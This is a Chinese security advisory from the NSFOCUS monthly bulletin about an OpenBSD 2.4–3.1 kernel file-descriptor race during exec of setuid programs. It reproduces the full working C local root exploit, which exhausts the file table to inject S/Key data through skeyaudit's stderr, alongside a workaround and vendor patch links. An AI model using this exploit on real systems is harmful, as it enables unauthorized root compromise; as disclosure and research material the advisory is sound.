首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第31期->最新漏洞
期刊号: 类型: 关键词:
OpenBSD exec C程序库处理标准I/O描述符竞争条件漏洞

日期:2002-04-18

更新日期: 2002-5-14
受影响的系统:  
OpenBSD OpenBSD kernel
    - OpenBSD 3.1
    - OpenBSD 3.0
    - OpenBSD 2.9
    - OpenBSD 2.8
    - OpenBSD 2.7
    - OpenBSD 2.6
    - OpenBSD 2.5
    - OpenBSD 2.4

描述:
--------------------------------------------------------------------------

BUGTRAQ  ID: 4708

OpenBSD是一种免费、开放源码的BSD Unix分支。

OpenBSD的内核在处理C程序库的标准文件描述符时存在漏洞,导致本地攻击者利用此漏洞可以得到主机的root权限。

OpenBSD内核在exec()一个特权进程之前,作为一个安全措施,它会检查C程序库标准文件描述符0-2是否为有效的打开之后的文件,如果这些文件描述符是关闭的,它们会被打开并指向/dev/null。但这个检查过程存在问题,当内核的文件描述符表被占满的时候,新文件描述符就不能被打开了,但这种情况并不会阻止exec()继续执行下去。这可能会导致攻击者利用特权进程通过敏感I/O通道把某些数据写到特权文件中,从而提升自己在系统中的权限。

<*来源:FozZy (fozzy@dmpfrance.com)
  
  链接:http://archives.neohapsis.com/archives/bugtraq/2002-05/0066.html
*>

测试程序:
--------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


FozZy(fozzy@dmpfrance.com) 提供了如下测试程序:

/*        fd_openbsd.c
   (c) 2002 FozZy <fozzy@dmpfrance.com>
  Local root exploit for OpenBSD up to 3.1. Do not distribute.
Research material from Hackademy and Hackerz Voice Newspaper (http://www.hackerzvoice.com)
For educational and security audit purposes only. Try this on your *own* system.
No warranty of any kind, this program may damage your system and your brain.
Script-kiddies, you will have to modify one or two things to make it work.

Usage:
   gcc -o fd fd_openbsd.c
   ./fd
   su -a skey
*/

#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <errno.h>
#include <fcntl.h>

#define SUID_NAME "/usr/bin/skeyaudit"
#define SKEY_DATA "\nr00t md5 0099 qwerty        545a54dde8d3ebd3  Apr 30,2002 22:47:00\n";
extern int errno;

int main(int argc, char **argv) {
  char *argvsuid[3];
  int i, n;
  int fildes[2];
  struct rlimit *rlp;

  rlp = (struct rlimit *) malloc((size_t) sizeof(rlp));
  if (getrlimit(RLIMIT_NOFILE, rlp))
    perror("getrlimit");
  rlp->rlim_cur = rlp->rlim_max;  /* we want to allocate a maximum number of fd in each process */
  if (setrlimit(RLIMIT_NOFILE, rlp))
    perror("setrlimit");

  n=0;
  open(SUID_NAME, O_RDONLY, 0);/* is it useful ? allocate this file in the kernel fd table, for execve to succeed later*/

  while (n==0) {
    for (i=4; i<=rlp->rlim_cur; i++) /* we start from 4 to avoid freeing the SUID_NAME buffer, assuming its fd is 3 */
      close(i);
    i=0;
    while(pipe(fildes)==0)  /* pipes are the best way to allocate unique file descriptors quickly */
      i++;
    printf("Error number %d : %s\n", errno, (errno==ENFILE) ? "System file table full":"Too many descriptors active for this process");
    if (errno==ENFILE) {    /* System file table full */
      n = open("/bin/pax", O_RDONLY, 0); /* To be sure we don't miss one fd, since a pipe allocates 2 fds or 0 if failure */
      fprintf(stderr, "Let's exec the suid binary...\n");
      fflush(stderr);
      if ((n=fork())==-1) {
     perror("last fork failed");
     exit(1);
      }
      if (n==0) {
     for (i=3; i<=rlp->rlim_cur; i++)
       close(i);   /* close all fd, we don't need to fill the fd table of the process */
     argvsuid[0]=SKEY_DATA;  /* we put the data to be printed on stderr as the name of the program */
     argvsuid[1]="-i"; /* to make skeyaudit fail with an error */
     argvsuid[2]=NULL;
         close(2);  /* let the process exec'ed have stderr as the *first* fd free */
     execve(SUID_NAME, argvsuid, NULL);
     perror("execve");
     exit(1);
      }
      else {
     for (i=0; i<2000000; i++)   /* Timing is crucial : tune this to your own system */
       ;
     for (i=4; i<=100; i++) /* free some fd for the suid file to execute normally (ld.so, etc.) */
       close(i);
     sleep(5);
         for (i=3; i<=rlp->rlim_cur; i++)
           close(i);
     exit(0);
      }
    }
    else {    /* process table full, let's fork to allocate more fds */
      if ((n=fork()) == -1) {
     perror("fork failed");
     exit(1);
      }
    }
  }
  printf("Number of pipes opened by parent: %d\n",i);
  sleep(5);
  for (i=3; i<=rlp->rlim_cur; i++)
    close(i);
  fprintf(stderr,"Exiting...\n");
  exit(0);
}

--------------------------------------------------------------------------
建议:

临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 用chmod -s /usr/bin/skeyaudit 命令暂时去掉其suid位。这个措施并不能完全保证漏洞不再可能被利用,攻击者可能会找到其他的特权程序进行攻击。

厂商补丁:

OpenBSD
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

OpenBSD OpenBSD 2.9:
OpenBSD Patch 026_fdalloc2.patch
ftp://ftp.openbsd.org/pub/OpenBSD/patches/2.9/common/026_fdalloc2.patch

OpenBSD OpenBSD 3.0:
OpenBSD Patch 021_fdalloc2.patch
ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.0/common/021_fdalloc2.patch

OpenBSD OpenBSD 3.1:
OpenBSD Patch 003_fdalloc2.patch
ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.1/common/003_fdalloc2.patch

版权所有,未经许可,不得转载